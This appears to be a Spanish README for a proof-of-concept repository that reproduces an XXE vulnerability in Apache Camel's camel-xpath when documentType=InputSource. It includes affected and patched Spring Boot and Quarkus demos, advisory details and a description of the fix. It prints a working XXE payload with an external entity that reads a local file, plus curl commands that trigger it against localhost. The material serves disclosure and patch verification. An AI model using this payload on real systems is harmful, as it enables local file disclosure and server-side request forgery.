
Prueba de concepto ejecutable de XXE para CVE-2026-85250 en Apache Camel camel-xpath (documentType=InputSource), con demos afectadas y corregidas de Spring Boot y Quarkus.
documentType=InputSource)Reproductor de prueba de concepto ejecutable para la vulnerabilidad de Apache Camel en la que, con documentType establecido en
InputSource, XPathBuilder entregaba la carga útil directamente a javax.xml.xpath, que construye su propio DocumentBuilder
utilizando los valores predeterminados del JDK. El endurecimiento aplicado al tipo de documento predeterminado de Camel quedaba por tanto eludido: una
declaración DOCTYPE que se rechaza en el tipo predeterminado era aceptada aquí, y la entidad externa que declaraba era
resuelta y expandida en el documento evaluado. Un remitente externo cuyo XML llegue a tal expresión podría
leer archivos legibles por el proceso de Camel y provocar que el proceso emita solicitudes a hosts que él nombre.
| Entorno de ejecución | Directorio | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (afectado; corregido en 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, afectado; control corregido CQ 3.40.0 / Camel 4.22.1) |
Ambos módulos demuestran el comportamiento afectado y el corregido.
Se coloca un archivo "secreto" benigno en el disco (cve-2026-85250-secret.txt, que contiene una cadena marcadora), en representación de un
archivo local legible por el proceso de Camel. El atacante envía XML — como un InputStream, que es lo que se convierte en un
InputSource — portando un DOCTYPE cuya entidad externa hace referencia a ese archivo:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
La ruta evalúa xpath("/test/text()").documentType(InputSource.class) sobre el cuerpo.
InputSource (valores predeterminados del JDK) resuelve la entidad externa, por lo que el resultado de XPath es el
contenido del archivo — el marcador es exfiltrado.DOCTYPE es rechazado por el analizador endurecido (el mismo que utiliza el tipo de documento predeterminado), por lo que
la evaluación falla antes de que se resuelva cualquier entidad.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| Propiedad | Valor |
|---|---|
| Componente | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (Restricción inadecuada de la referencia a entidades externas XML) |
| Severidad | ALTA |
| Vector de ataque | XML no confiable evaluado por una expresión XPath configurada con documentType=InputSource |
| Impacto | XXE: divulgación de archivos locales y falsificación de solicitudes del lado del servidor mediante entidades externas |
| Versiones afectadas | Desde 4.0.0 anterior a 4.18.5, desde 4.19.0 anterior a 4.22.1 |
| Versiones corregidas | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24475 |
| Crédito | Claude Security Scan Tool |
Aviso: https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder ahora enruta un InputSource (y SAXSource) a través de
toHardenedDocument(), que lo convierte en un org.w3c.dom.Document usando el mismo DocumentBuilderFactory
endurecido que ya utiliza el tipo de documento predeterminado, antes de entregarlo al motor XPath — de modo que ambos
tipos de documento se analizan con la misma configuración y se rechaza un DOCTYPE. Tenga en cuenta que el tipo
InputSource ahora también comparte la vía de escape documentada del tipo predeterminado: las mismas propiedades del
sistema DocumentBuilderFactory que relajan el tipo predeterminado relajan también este.
No utilice documentType=InputSource en expresiones evaluadas sobre XML no confiable; el tipo de documento
predeterminado ya rechaza un DOCTYPE.
Este repositorio se publica con fines educativos y defensivos: para ayudar a los usuarios de Apache Camel a comprender la vulnerabilidad, verificar si se ven afectados y confirmar que la actualización la resuelve. El archivo "secret" es un marcador inerte plantado. No utilice este material contra sistemas que no sean de su propiedad o que no opere.